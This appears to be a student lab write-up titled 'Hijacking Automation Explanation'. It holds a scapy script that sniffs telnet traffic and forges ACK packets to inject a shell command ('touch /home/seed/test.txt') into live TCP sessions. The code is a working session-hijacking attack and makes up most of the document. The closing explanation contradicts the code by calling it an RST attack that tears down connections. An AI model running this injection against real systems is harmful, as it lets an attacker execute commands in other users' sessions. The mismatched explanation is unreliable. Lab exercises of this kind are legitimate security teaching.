**Hijacking Automation Explanation**

**Python Code:**

#!/usr/bin/env python3

from scapy.all import \*

def send\_rst\_pckt(packet):

  src\_ip = packet[IP].src

  dst\_ip = packet[IP].dst

  src\_port = packet[TCP].sport

  dst\_port = packet[TCP].dport

  ack\_num = packet[TCP].ack

  seq\_num = packet[TCP].seq

  ip = IP(src=src\_ip, dst=dst\_ip)

  tcp = TCP(sport=src\_port, dport=dst\_port, flags="A", seq=seq\_num, ack=ack\_num)

  data = "\r\n touch /home/seed/test.txt\r\n"

  pkt = ip/tcp/data

  ls(pkt)

  send(pkt,verbose=0)

sniff(filter="tcp and dst port 23", iface="br-7a6748c1697c", prn=send\_rst\_pckt)

**Explanation:**

As you can see, I was able to automate RST attacks by using scapy. I sniffed all packets that passed through the network and filtered for ones that were using the TCP protocol and had the destination port 23. This is because telnet servers listen on port 23 and use the TCP protocol. Then, I extracted the source IP, destination IP, source port, destination port, acknowledgement number, and sequence number from the packet. Then, I sent a spoofed RST packet to the server, breaking the connection between the user and the server.